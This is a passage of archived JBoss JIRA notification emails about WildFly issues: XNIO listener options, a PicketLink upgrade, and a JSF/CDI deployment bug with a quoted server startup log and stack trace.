From jira-events at lists.jboss.org  Fri Sep  6 06:30:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Fri, 6 Sep 2013 06:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2017) Add ability to set XNIO
 options for listeners
In-Reply-To: <JIRA.12500194.1378462536000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500194.1378462536000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500194.1378462536000.12769.1378463403781@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2017?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned WFLY-2017:
---------------------------------

    Assignee: Tomaz Cerar  (was: Stuart Douglas)

    
> Add ability to set XNIO options for listeners
> ---------------------------------------------
>
>                 Key: WFLY-2017
>                 URL: https://issues.jboss.org/browse/WFLY-2017
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>            Reporter: Stuart Douglas
>            Assignee: Tomaz Cerar
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 06:35:03 2013
From: jira-events at lists.jboss.org (Bernd Koecke (JIRA))
Date: Fri, 6 Sep 2013 06:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2018) Configuring
 HttpsListenerServices xnio OptionMap
In-Reply-To: <JIRA.12500197.1378463685548@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500197.1378463685548@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500197.1378463685548.12772.1378463703578@jira02.app.mwc.hst.phx2.redhat.com>

Bernd Koecke created WFLY-2018:
----------------------------------

             Summary: Configuring HttpsListenerServices xnio OptionMap
                 Key: WFLY-2018
                 URL: https://issues.jboss.org/browse/WFLY-2018
             Project: WildFly
          Issue Type: Enhancement
          Components: Web (Undertow)
    Affects Versions: 8.0.0.Alpha4
         Environment: Linux, Java 7, WildFly from git
            Reporter: Bernd Koecke
            Assignee: Stuart Douglas


There was another issue (WFLY-1924) when two WildFly server called each other through SSL/TLS. This is all done and its working. But during the discussion it came up that the configuration of the xnio endpoint in class {{org.wildfly.extension.undertow.HttpsListenerService.startListening}} is hardcoded. In other parts of the system I have the ability to define my own set of options for xnios OptionMap through CLI. Would it be a good idea to enhance the Http(s)ListenerService that the defaults are still there, but can be overwritten from the XML/CLI?

Because I can now configure the client side, I don't really need it in the undertow subsystem at the moment. But there my be other use cases where a configuration option in the above listener would be nice.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 06:43:04 2013
From: jira-events at lists.jboss.org (Peter Skopek (JIRA))
Date: Fri, 6 Sep 2013 06:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2019) Upgrade PicketLink to
	2.5.1.Final
In-Reply-To: <JIRA.12500198.1378464071008@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500198.1378464071008@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500198.1378464071008.12779.1378464184122@jira02.app.mwc.hst.phx2.redhat.com>

Peter Skopek created WFLY-2019:
----------------------------------

             Summary: Upgrade PicketLink to 2.5.1.Final
                 Key: WFLY-2019
                 URL: https://issues.jboss.org/browse/WFLY-2019
             Project: WildFly
          Issue Type: Component  Upgrade
          Components: Security
    Affects Versions: 8.0.0.Beta1
            Reporter: Peter Skopek
            Assignee: Peter Skopek


Upgrade to the latest released PicketLink 2.5.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 07:18:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Fri, 6 Sep 2013 07:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2018) Configuring
 HttpsListenerServices xnio OptionMap
In-Reply-To: <JIRA.12500197.1378463685000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500197.1378463685000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500197.1378463685000.12904.1378466283667@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2018?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned WFLY-2018:
---------------------------------

    Assignee: Tomaz Cerar  (was: Stuart Douglas)

    
> Configuring HttpsListenerServices xnio OptionMap
> ------------------------------------------------
>
>                 Key: WFLY-2018
>                 URL: https://issues.jboss.org/browse/WFLY-2018
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Linux, Java 7, WildFly from git
>            Reporter: Bernd Koecke
>            Assignee: Tomaz Cerar
>
> There was another issue (WFLY-1924) when two WildFly server called each other through SSL/TLS. This is all done and its working. But during the discussion it came up that the configuration of the xnio endpoint in class {{org.wildfly.extension.undertow.HttpsListenerService.startListening}} is hardcoded. In other parts of the system I have the ability to define my own set of options for xnios OptionMap through CLI. Would it be a good idea to enhance the Http(s)ListenerService that the defaults are still there, but can be overwritten from the XML/CLI?
> Because I can now configure the client side, I don't really need it in the undertow subsystem at the moment. But there my be other use cases where a configuration option in the above listener would be nice.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 07:32:04 2013
From: jira-events at lists.jboss.org (Florian Hirsch (JIRA))
Date: Fri, 6 Sep 2013 07:32:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-682) Custom JSF deployment does not
 work altogether with CDI
In-Reply-To: <JIRA.12445321.1314113768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12445321.1314113768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12445321.1314113768000.12988.1378467124740@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-682?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802238#comment-12802238 ] 

Florian Hirsch commented on WFLY-682:
-------------------------------------

If I understand the pull request right this is fixed for wildfly and it is possible to use Weld with 2 JSF implementations now? 
Are there plans to make this work on EAP6.1?
                
> Custom JSF deployment does not work altogether with CDI
> -------------------------------------------------------
>
>                 Key: WFLY-682
>                 URL: https://issues.jboss.org/browse/WFLY-682
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF
>            Reporter: George Gastaldi
>            Assignee: Stan Silvert
>              Labels: jsf
>             Fix For: Awaiting Volunteers
>
>
> When using another JSF impl (with flag org.jboss.jbossfaces.WAR_BUNDLES_JSF_IMPL set to true) and a beans.xml is on WEB-INF, the following error occurs: 
> {code:java}
> 12:33:07,066 INFO  [org.jboss.modules] JBoss Modules version 1.0.1.GA
> 12:33:07,341 INFO  [org.jboss.msc] JBoss MSC version 1.0.0.GA
> 12:33:07,394 INFO  [org.jboss.as] JBoss AS 7.0.1.Final "Zap" starting
> 12:33:08,212 WARN  [org.jboss.as] No security realm defined for native management service, all access will be unrestricted.
> 12:33:08,220 INFO  [org.jboss.as] creating http management service using network interface (management) port (9990)
> 12:33:08,267 WARN  [org.jboss.as] No security realm defined for http management service, all access will be unrestricted.
> 12:33:08,276 INFO  [org.jboss.as.logging] Removing bootstrap log handlers
> 12:33:08,293 INFO  [org.jboss.as.connector.subsystems.datasources] (Controller Boot Thread) Deploying JDBC-compliant driver class org.h2.Driver (version 1.2)
> 12:33:08,306 INFO  [org.jboss.as.clustering.infinispan.subsystem] (Controller Boot Thread) Activating Infinispan subsystem.
> 12:33:08,418 INFO  [org.jboss.as.naming] (Controller Boot Thread) Activating Naming Subsystem
> 12:33:08,426 INFO  [org.jboss.as.naming] (MSC service thread 1-5) Starting Naming Service 
> 12:33:08,429 INFO  [org.jboss.as.osgi] (Controller Boot Thread) Activating OSGi Subsystem
> 12:33:08,449 INFO  [org.jboss.as.security] (Controller Boot Thread) Activating Security Subsystem
> 12:33:08,453 INFO  [org.jboss.remoting] (MSC service thread 1-4) JBoss Remoting version 3.2.0.Beta2
> 12:33:08,469 INFO  [org.xnio] (MSC service thread 1-4) XNIO Version 3.0.0.Beta3
> 12:33:08,482 INFO  [org.xnio.nio] (MSC service thread 1-4) XNIO NIO Implementation Version 3.0.0.Beta3
> 12:33:08,724 INFO  [org.apache.catalina.core.AprLifecycleListener] (MSC service thread 1-1) The Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: D:\jdk6\bin;.;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;D:/powerlogic/jcompany55/java/bin/../jre/bin/server;D:/powerlogic/jcompany55/java/bin/../jre/bin;D:/powerlogic/jcompany55/java/bin/../jre/lib/amd64;D:\powerlogic\jcompany55\java\bin;c:\Program Files\Microsoft IntelliType Pro\;D:\jdk6\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;D:\maven\bin;C:\Program Files (x86)\apache-ant-1.8.2\bin;C:\Program Files\TortoiseSVN\bin;C:\Program Files (x86)\GnuWin32\bin;C:\Program Files (x86)\GNU\GnuPG\pub;C:\Program Files (x86)\Git\bin;D:\powerlogic\jcompany55\eclipse;
> 12:33:08,731 INFO  [org.jboss.as.ee] (Controller Boot Thread) Activating EE subsystem
> 12:33:08,753 INFO  [org.jboss.as.jmx.JMXConnectorService] (MSC service thread 1-7) Starting remote JMX connector
> 12:33:08,757 INFO  [org.jboss.as.remoting] (MSC service thread 1-5) Listening on /127.0.0.1:9999
> 12:33:08,803 INFO  [org.apache.coyote.http11.Http11Protocol] (MSC service thread 1-8) Starting Coyote HTTP/1.1 on http--127.0.0.1-8080
> 12:33:09,018 INFO  [org.jboss.as.connector] (MSC service thread 1-3) Starting JCA Subsystem (JBoss IronJacamar 1.0.3.Final)
> 12:33:09,088 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-8) Bound data source [java:jboss/datasources/ExampleDS]
> 12:33:09,394 INFO  [org.jboss.as.deployment] (MSC service thread 1-1) Started FileSystemDeploymentService for directory D:\jboss-as-web-7.0.1.Final\standalone\deployments
> 12:33:09,402 INFO  [org.jboss.as.deployment] (DeploymentScanner-threads - 1) Found exemplo.war in deployment directory. To trigger deployment create a file called exemplo.war.dodeploy
> 12:33:09,403 INFO  [org.jboss.as.deployment] (DeploymentScanner-threads - 1) Found hellomyfaces.war in deployment directory. To trigger deployment create a file called hellomyfaces.war.dodeploy
> 12:33:09,427 INFO  [org.jboss.as] (Controller Boot Thread) JBoss AS 7.0.1.Final "Zap" started in 2588ms - Started 93 of 148 services (55 services are passive or on-demand)
> 12:33:09,444 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) Starting deployment of "hellomyfaces.war"
> 12:33:10,229 INFO  [org.jboss.as.jpa] (MSC service thread 1-8) added javax.persistence.api dependency to hellomyfaces.war
> 12:33:10,274 INFO  [org.jboss.weld] (MSC service thread 1-5) Processing CDI deployment: hellomyfaces.war
> 12:33:10,628 INFO  [org.jboss.weld] (MSC service thread 1-1) Starting Services for CDI deployment: hellomyfaces.war
> 12:33:10,652 INFO  [org.jboss.weld.Version] (MSC service thread 1-1) WELD-000900 1.1.2 (Final)
> 12:33:10,679 INFO  [org.jboss.weld] (MSC service thread 1-4) Starting weld service
> 12:33:11,055 INFO  [org.apache.myfaces.ee6.MyFacesContainerInitializer] (MSC service thread 1-6) Added FacesServlet with mappings=[/faces/*, *.jsf, *.faces]
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.PRETTY_HTML' found, using default value true
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.ALLOW_JAVASCRIPT' found, using default value true
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_CLEAR_JAVASCRIPT_FOR_BUTTON' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_HIDDEN_FIELDS_FOR_LINK_PARAMS' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.SAVE_FORM_SUBMIT_LINK_IE' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.READONLY_AS_DISABLED_FOR_SELECTS' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_VIEWSTATE_ID' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.STRICT_XHTML_LINKS' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_FORM_SUBMIT_SCRIPT_INLINE' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.CONFIG_REFRESH_PERIOD' found, using default value 2
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.VIEWSTATE_JAVASCRIPT' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.REFRESH_TRANSIENT_BUILD_ON_PSS' found, using default value auto
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.REFRESH_TRANSIENT_BUILD_ON_PSS_PRESERVE_STATE' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.VALIDATE_XML' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.WRAP_SCRIPT_CONTENT_WITH_XML_COMMENT_TAG' found, using default value true
> 12:33:11,099 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) Tomahawk jar not available. Autoscrolling, DetectJavascript, AddResourceClass and CheckExtensionsFilter are disabled now.
> 12:33:11,122 INFO  [org.apache.myfaces.config.DefaultFacesConfigurationProvider] (MSC service thread 1-6) Reading standard config META-INF/standard-faces-config.xml
> 12:33:11,425 AVISO [org.apache.myfaces.config.annotation.DefaultAnnotationProvider] (MSC service thread 1-6) AnnotationConfigurator does not found classes for annotations in /WEB-INF/classes/org/jboss/test/jsf/hellomyfaces/ . This could happen because maven jetty plugin is used (goal jetty:run). Try configure org.apache.myfaces.annotation.SCAN_PACKAGES init parameter or use jetty:run-exploded instead.
> 12:33:11,681 INFO  [org.apache.myfaces.config.DefaultFacesConfigurationProvider] (MSC service thread 1-6) Reading config : jar:file:D:%5Cjboss-as-web-7.0.1.Final%5Cmodules%5Corg%5Cjboss%5Cas%5Cweld%5Cmain%5Cjboss-as-weld-7.0.1.Final.jar!/META-INF/faces-config.xml
> 12:33:11,714 GRAVE [org.apache.myfaces.webapp.AbstractFacesInitializer] (MSC service thread 1-6) An error occured while initializing MyFaces: Class org.jboss.as.weld.webtier.jsf.WeldApplicationFactory is no javax.faces.application.ApplicationFactory: java.lang.IllegalArgumentException: Class org.jboss.as.weld.webtier.jsf.WeldApplicationFactory is no javax.faces.application.ApplicationFactory
> 	at javax.faces.FactoryFinder.newFactoryInstance(FactoryFinder.java:311) [myfaces-api-2.1.1.jar:]
> 	at javax.faces.FactoryFinder._getFactory(FactoryFinder.java:277) [myfaces-api-2.1.1.jar:]
> 	at javax.faces.FactoryFinder.getFactory(FactoryFinder.java:200) [myfaces-api-2.1.1.jar:]
> 	at org.apache.myfaces.config.FacesConfigurator.configureApplication(FacesConfigurator.java:489) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.config.FacesConfigurator.configure(FacesConfigurator.java:401) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.AbstractFacesInitializer.buildConfiguration(AbstractFacesInitializer.java:309) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.Jsp21FacesInitializer.initContainerIntegration(Jsp21FacesInitializer.java:73) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.AbstractFacesInitializer.initFaces(AbstractFacesInitializer.java:125) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.StartupServletContextListener.contextInitialized(StartupServletContextListener.java:111) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.catalina.core.StandardContext.contextListenerStart(StandardContext.java:3368) [jbossweb-7.0.1.Final.jar:7.0.1.Final]
> 	at org.apache.catalina.core.StandardContext.start(StandardContext.java:3821) [jbossweb-7.0.1.Final.jar:7.0.1.Final]
> 	at org.jboss.as.web.deployment.WebDeploymentService.start(WebDeploymentService.java:70) [jboss-as-web-7.0.1.Final.jar:7.0.1.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1765)
> 	at org.jboss.msc.service.ServiceControllerImpl$ClearTCCLTask.run(ServiceControllerImpl.java:2291)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [:1.6.0_24]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [:1.6.0_24]
> 	at java.lang.Thread.run(Thread.java:662) [:1.6.0_24]
> 12:33:11,725 INFO  [org.jboss.web] (MSC service thread 1-6) registering web context: /hellomyfaces
> 12:33:11,770 INFO  [org.jboss.as.server.controller] (DeploymentScanner-threads - 2) Deployed "hellomyfaces.war"
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 07:32:05 2013
From: jira-events at lists.jboss.org (Florian Hirsch (JIRA))
Date: Fri, 6 Sep 2013 07:32:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-682) Custom JSF deployment does not
 work altogether with CDI
In-Reply-To: <JIRA.12445321.1314113768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12445321.1314113768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12445321.1314113768000.13002.1378467125390@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-682?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802238#comment-12802238 ] 

Florian Hirsch edited comment on WFLY-682 at 9/6/13 7:31 AM:
-------------------------------------------------------------

If I understand the pull request right this is fixed for wildfly and it is possible to use Weld with 2 JSF implementations now? 
Are there plans to make this working on EAP6.1?
                
      was (Author: lefloh):
    If I understand the pull request right this is fixed for wildfly and it is possible to use Weld with 2 JSF implementations now? 
Are there plans to make this work on EAP6.1?
                  
> Custom JSF deployment does not work altogether with CDI
> -------------------------------------------------------
>
>                 Key: WFLY-682
>                 URL: https://issues.jboss.org/browse/WFLY-682
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF
>            Reporter: George Gastaldi
>            Assignee: Stan Silvert
>              Labels: jsf
>             Fix For: Awaiting Volunteers
>
>
> When using another JSF impl (with flag org.jboss.jbossfaces.WAR_BUNDLES_JSF_IMPL set to true) and a beans.xml is on WEB-INF, the following error occurs: 
> {code:java}
> 12:33:07,066 INFO  [org.jboss.modules] JBoss Modules version 1.0.1.GA
> 12:33:07,341 INFO  [org.jboss.msc] JBoss MSC version 1.0.0.GA
> 12:33:07,394 INFO  [org.jboss.as] JBoss AS 7.0.1.Final "Zap" starting
> 12:33:08,212 WARN  [org.jboss.as] No security realm defined for native management service, all access will be unrestricted.
> 12:33:08,220 INFO  [org.jboss.as] creating http management service using network interface (management) port (9990)
> 12:33:08,267 WARN  [org.jboss.as] No security realm defined for http management service, all access will be unrestricted.
> 12:33:08,276 INFO  [org.jboss.as.logging] Removing bootstrap log handlers
> 12:33:08,293 INFO  [org.jboss.as.connector.subsystems.datasources] (Controller Boot Thread) Deploying JDBC-compliant driver class org.h2.Driver (version 1.2)
> 12:33:08,306 INFO  [org.jboss.as.clustering.infinispan.subsystem] (Controller Boot Thread) Activating Infinispan subsystem.
> 12:33:08,418 INFO  [org.jboss.as.naming] (Controller Boot Thread) Activating Naming Subsystem
> 12:33:08,426 INFO  [org.jboss.as.naming] (MSC service thread 1-5) Starting Naming Service 
> 12:33:08,429 INFO  [org.jboss.as.osgi] (Controller Boot Thread) Activating OSGi Subsystem
> 12:33:08,449 INFO  [org.jboss.as.security] (Controller Boot Thread) Activating Security Subsystem
> 12:33:08,453 INFO  [org.jboss.remoting] (MSC service thread 1-4) JBoss Remoting version 3.2.0.Beta2
> 12:33:08,469 INFO  [org.xnio] (MSC service thread 1-4) XNIO Version 3.0.0.Beta3
> 12:33:08,482 INFO  [org.xnio.nio] (MSC service thread 1-4) XNIO NIO Implementation Version 3.0.0.Beta3
> 12:33:08,724 INFO  [org.apache.catalina.core.AprLifecycleListener] (MSC service thread 1-1) The Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: D:\jdk6\bin;.;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;D:/powerlogic/jcompany55/java/bin/../jre/bin/server;D:/powerlogic/jcompany55/java/bin/../jre/bin;D:/powerlogic/jcompany55/java/bin/../jre/lib/amd64;D:\powerlogic\jcompany55\java\bin;c:\Program Files\Microsoft IntelliType Pro\;D:\jdk6\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;D:\maven\bin;C:\Program Files (x86)\apache-ant-1.8.2\bin;C:\Program Files\TortoiseSVN\bin;C:\Program Files (x86)\GnuWin32\bin;C:\Program Files (x86)\GNU\GnuPG\pub;C:\Program Files (x86)\Git\bin;D:\powerlogic\jcompany55\eclipse;
> 12:33:08,731 INFO  [org.jboss.as.ee] (Controller Boot Thread) Activating EE subsystem
> 12:33:08,753 INFO  [org.jboss.as.jmx.JMXConnectorService] (MSC service thread 1-7) Starting remote JMX connector
> 12:33:08,757 INFO  [org.jboss.as.remoting] (MSC service thread 1-5) Listening on /127.0.0.1:9999
> 12:33:08,803 INFO  [org.apache.coyote.http11.Http11Protocol] (MSC service thread 1-8) Starting Coyote HTTP/1.1 on http--127.0.0.1-8080
> 12:33:09,018 INFO  [org.jboss.as.connector] (MSC service thread 1-3) Starting JCA Subsystem (JBoss IronJacamar 1.0.3.Final)
> 12:33:09,088 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-8) Bound data source [java:jboss/datasources/ExampleDS]
> 12:33:09,394 INFO  [org.jboss.as.deployment] (MSC service thread 1-1) Started FileSystemDeploymentService for directory D:\jboss-as-web-7.0.1.Final\standalone\deployments
> 12:33:09,402 INFO  [org.jboss.as.deployment] (DeploymentScanner-threads - 1) Found exemplo.war in deployment directory. To trigger deployment create a file called exemplo.war.dodeploy
> 12:33:09,403 INFO  [org.jboss.as.deployment] (DeploymentScanner-threads - 1) Found hellomyfaces.war in deployment directory. To trigger deployment create a file called hellomyfaces.war.dodeploy
> 12:33:09,427 INFO  [org.jboss.as] (Controller Boot Thread) JBoss AS 7.0.1.Final "Zap" started in 2588ms - Started 93 of 148 services (55 services are passive or on-demand)
> 12:33:09,444 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) Starting deployment of "hellomyfaces.war"
> 12:33:10,229 INFO  [org.jboss.as.jpa] (MSC service thread 1-8) added javax.persistence.api dependency to hellomyfaces.war
> 12:33:10,274 INFO  [org.jboss.weld] (MSC service thread 1-5) Processing CDI deployment: hellomyfaces.war
> 12:33:10,628 INFO  [org.jboss.weld] (MSC service thread 1-1) Starting Services for CDI deployment: hellomyfaces.war
> 12:33:10,652 INFO  [org.jboss.weld.Version] (MSC service thread 1-1) WELD-000900 1.1.2 (Final)
> 12:33:10,679 INFO  [org.jboss.weld] (MSC service thread 1-4) Starting weld service
> 12:33:11,055 INFO  [org.apache.myfaces.ee6.MyFacesContainerInitializer] (MSC service thread 1-6) Added FacesServlet with mappings=[/faces/*, *.jsf, *.faces]
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.PRETTY_HTML' found, using default value true
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.ALLOW_JAVASCRIPT' found, using default value true
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_CLEAR_JAVASCRIPT_FOR_BUTTON' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_HIDDEN_FIELDS_FOR_LINK_PARAMS' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.SAVE_FORM_SUBMIT_LINK_IE' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.READONLY_AS_DISABLED_FOR_SELECTS' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_VIEWSTATE_ID' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.STRICT_XHTML_LINKS' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_FORM_SUBMIT_SCRIPT_INLINE' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.CONFIG_REFRESH_PERIOD' found, using default value 2
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.VIEWSTATE_JAVASCRIPT' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.REFRESH_TRANSIENT_BUILD_ON_PSS' found, using default value auto
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.REFRESH_TRANSIENT_BUILD_ON_PSS_PRESERVE_STATE' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.VALIDATE_XML' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.WRAP_SCRIPT_CONTENT_WITH_XML_COMMENT_TAG' found, using default value true
> 12:33:11,099 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) Tomahawk jar not available. Autoscrolling, DetectJavascript, AddResourceClass and CheckExtensionsFilter are disabled now.
> 12:33:11,122 INFO  [org.apache.myfaces.config.DefaultFacesConfigurationProvider] (MSC service thread 1-6) Reading standard config META-INF/standard-faces-config.xml
> 12:33:11,425 AVISO [org.apache.myfaces.config.annotation.DefaultAnnotationProvider] (MSC service thread 1-6) AnnotationConfigurator does not found classes for annotations in /WEB-INF/classes/org/jboss/test/jsf/hellomyfaces/ . This could happen because maven jetty plugin is used (goal jetty:run). Try configure org.apache.myfaces.annotation.SCAN_PACKAGES init parameter or use jetty:run-exploded instead.
> 12:33:11,681 INFO  [org.apache.myfaces.config.DefaultFacesConfigurationProvider] (MSC service thread 1-6) Reading config : jar:file:D:%5Cjboss-as-web-7.0.1.Final%5Cmodules%5Corg%5Cjboss%5Cas%5Cweld%5Cmain%5Cjboss-as-weld-7.0.1.Final.jar!/META-INF/faces-config.xml
> 12:33:11,714 GRAVE [org.apache.myfaces.webapp.AbstractFacesInitializer] (MSC service thread 1-6) An error occured while initializing MyFaces: Class org.jboss.as.weld.webtier.jsf.WeldApplicationFactory is no javax.faces.application.ApplicationFactory: java.lang.IllegalArgumentException: Class org.jboss.as.weld.webtier.jsf.WeldApplicationFactory is no javax.faces.application.ApplicationFactory
